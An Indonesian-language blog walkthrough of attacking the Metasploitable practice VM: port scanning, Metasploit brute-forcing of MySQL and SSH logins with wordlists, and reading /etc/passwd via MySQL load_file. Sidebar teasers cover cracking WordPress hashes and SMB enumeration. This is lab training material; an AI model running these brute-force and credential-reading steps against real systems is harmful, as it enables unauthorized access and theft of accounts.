Metasploitable - Shell Rooting Mysql+SSH [PART I]

-
Percobaan selanjutnya saya ambil dari kerentaan-kerentaan yang ada pada mesin metasploitable ini digunakan untuk melakukan pelatihan keamanan, alat-alat keamanan testing dan praktek umum teknik pengujian penetrasi.

pembahasan akan saya awali dengan mendapatkan kerentaan mysql dari mesin tersebut kemudian membuka seluruh users yang ada dan memanfaatkannya untuk dapat mengakses Secure Shell (ssh)

1. mendapatkan ip address korban dan melakukan scanning untuk mencari port yang terbuka, namun disini  yang kita butuhkan adalah port 3306.

command:
# nmap -sV -v 192.168.1.4 | grep "3306/tcp"


seperti yang kita lihat port yang kita butuhkan terbuka.

langkah selanjutnya dengan menggunakan metasploit untuk melakukan bruteforce, ini akan terlihat agak sedikit susah di karenakan untuk melakukan bruteforce di perlukan beberapa wordlists yang besar yang bisa memecahkan password mysql tersebut.

command:
# msfconsole
msf > use auxiliary/scanner/mysql/mysql_login
msf auxiliary(mysql_login) > set RHOSTS 192.168.1.4
RHOSTS => 192.168.1.4
msf auxiliary(mysql_login) > set PASS_FILE /usr/share/wordlists/password.lst 
PASS_FILE => /usr/share/wordlists/password.lst
msf auxiliary(mysql_login) > set USER_FILE /usr/share/wordlists/username.lst 
USER_FILE => /usr/share/wordlists/username.lst
msf auxiliary(mysql_login) > run 


tunggu hingga metasploit berhasil menemukan login aksess mysql hingga muncul seperti gambar berikut:


setelah menemukan user dan password mysql seperti yang terlihat pada gambar diatas, selanjutnya mari kita login :)

command:
# mysql -h 192.168.1.4 -u root -pserver


berhasil :)
langkah selanjutnya melihat informasi tentang users yang berada di /etc/passwd/ dengan menggunakan perintah.

command:
mysql > select load_file('/etc/passwd');


maka output yang di hasilkan seperti gambar dibawah ini:


selanjutnya mengambil "msfadmin" sebagai user untuk mengakses SSH dengan melakukan bruterforce menggunakan metasploit.

command:
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set RHOSTS 192.168.1.4
RHOSTS => 192.168.1.4
msf auxiliary(ssh_login) > set PASS_FILE /usr/share/wordlists/password.lst 
PASS_FILE => /usr/share/wordlists/password.lst
msf auxiliary(ssh_login) > set USERNAME msfadmin
USERNAME => msfadmin
msf auxiliary(ssh_login) > run


tunggu hingga password berhasil di pecahkan maka akan muncul seperti gambar berikut ini:


user = msfadmin
pass = msfadmin

pada tahap ini session command shell berhasil terbuka.


FINISH...

tunggu hingga part selanjutnya :)

regards
Hidemichi-Hiroyuki a.k.a [H2]

Comments

Post a Comment

Do Not Fuckin Spamming

Popular posts from this blog

Decrypt MD5 $Wordpress

-
Image
Hy, I'm back again. I will discuss how to Decrypt a password in the form the MD5 hash wordpress. here are some examples of hash md5 encryption wordpress will we Decrypt: HASH                                                                                  PASS $P$BDHjLCEroc8ujkcs8RZxOhcE80aV5h.           : th3sweety0ne  $P$BPXNfl3mZiO7PZc4XZqFFjX7TyP7Lh.           : Pabl0-saChez $P$BqilSln8PD9SBFuTx8KkaXz62aIIvV/             : m4rim4r123 $P$BnfObieGq5ygdt0OMgwbnKvFt8EFUs.          : Gh0stTrac3 $P$B.RwpJQV8ANOyl19RGHhCaYYgJyvQM1  : *12345*0a0b0c0d many of my friends are overwhelmed when decrypt wordpress md5 hash. so are they wasting their jobs because they could not solve this one password. Equipments: 1. Hashcat             ==> Decrypt Hash 2.  Rockyou.txt       ==> Wordlists 3. Hash-Identifier   ==> to see hash mode Here I use the Operating System Kali Linux. First Step : we see the  kind of hash we will Decrypt. to facilitate us in decryption
Read more

Exploit Samba "SmbClient"

-
Image
Such as FTP (File Transfer Protocol) samba include things like getting files from the server to the local machine, putting files from the local machine to the server, retrieving directory information from the server and so on. in this case we have to get the victim to allow shared folders or files. Equipments : 1. SmbClient 2. Nmap 3. Metasploit The firstStep. scanning port the victim's ip-address using Nmap. in here that we need right port is port   445  microsoft-ds. # Nmap (Victim Ip-Address) seen in the picture above. I am lucky :) now, let us look the contents of the port # nmap -p445 --script=smb-os-discovery (Victim Ip-Address) --script=smb-os-discovery : Attempts to determine the operating system, computer name, domain, workgroup, and current time over the SMB protocol (ports 445 or 139) . seen in the picture above, it turns out the victim we use Operating System Windows 7 Ultimate.  Computer Name And NetBIOS Name is a ANONYMOUS-PC. now,
Read more

Configure Pure-FTP on Kali Linux

-
Image
FTP or file transfer protocol is a protocol that allows you to transfer files to and from a remote machine. BackTrack has pure-FTPd installed by default. FTP operates on port 21. Contents : 1. Installasion 2. Configuration 3. Run Installation Pure-Ftpd # apt-get install pure-ftpd Installation Success =)) Configure Ftpd add new group: # groupadd ftpgroup add user: # useradd -g ftpgroup -d /dev/null -s /etc ftpuser -g =  name or ID of the primary group of the new account -d = home directory of the new account -s = login shell of the new account configure store a list of users: # pure-pw useradd myftp -u ftpuser -d /home/ftp/pub/myftp myftp = your ftp username please enter you password. configure puredb database file # pure-pw mkdb The next entry to the directory /etc/pure-ftpd/auth/ # cd /etc/pure-ftpd/auth then Create hard links by default: # ln -s ../conf/PureDB 60pdb then, make a directory /ftp # mkdir /home/ft
Read more